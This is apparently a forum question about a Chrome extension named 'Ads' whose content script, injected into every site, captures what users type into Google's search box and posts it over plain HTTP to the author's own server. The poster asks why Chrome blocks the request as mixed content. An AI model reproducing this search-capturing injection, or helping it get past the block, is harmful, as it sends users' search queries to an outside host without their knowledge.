Hello all i am having a strange issue with sending a request from https site to http site by google chrome extension..
jquery.js:6 Mixed Content: The page at 'https://www.google.co.in/webhp?hl=en' was loaded over HTTPS, but requested an insecure XMLHttpRequest endpoint 'http://ip/stats/search.php?keywords=apple'. This request has been blocked; the content must be served over HTTPS.
this is my code which is injected to the site ...
$(document).ready(function(){
$('input[name=q]').keydown(function(e) {
if (e.keyCode == 13) {
v = $(this).val();
v=encodeURI(v);
$.ajax({
type: 'POST',
url: 'http://myipaddress/stats/search.php?keywords='+v,
data:{'search':v},
success: function(data){
//something....
}
});
}
});
});
Manifest.json
{
"name": "Ads",
"version": "0.0.1",
"manifest_version": 2,
"description": "Injecting stuff",
"background":
{
"scripts": ["jquery.js","background.js"]
},
"browser_action": {
"default_title": "Inject!"
},
"permissions": [
"https://*/*",
"http://*/*",
"tabs"
],"content_scripts" : [
{
"js": ["jquery.js", "inject.js"],
"matches": ["*://*/*"]
}
]
}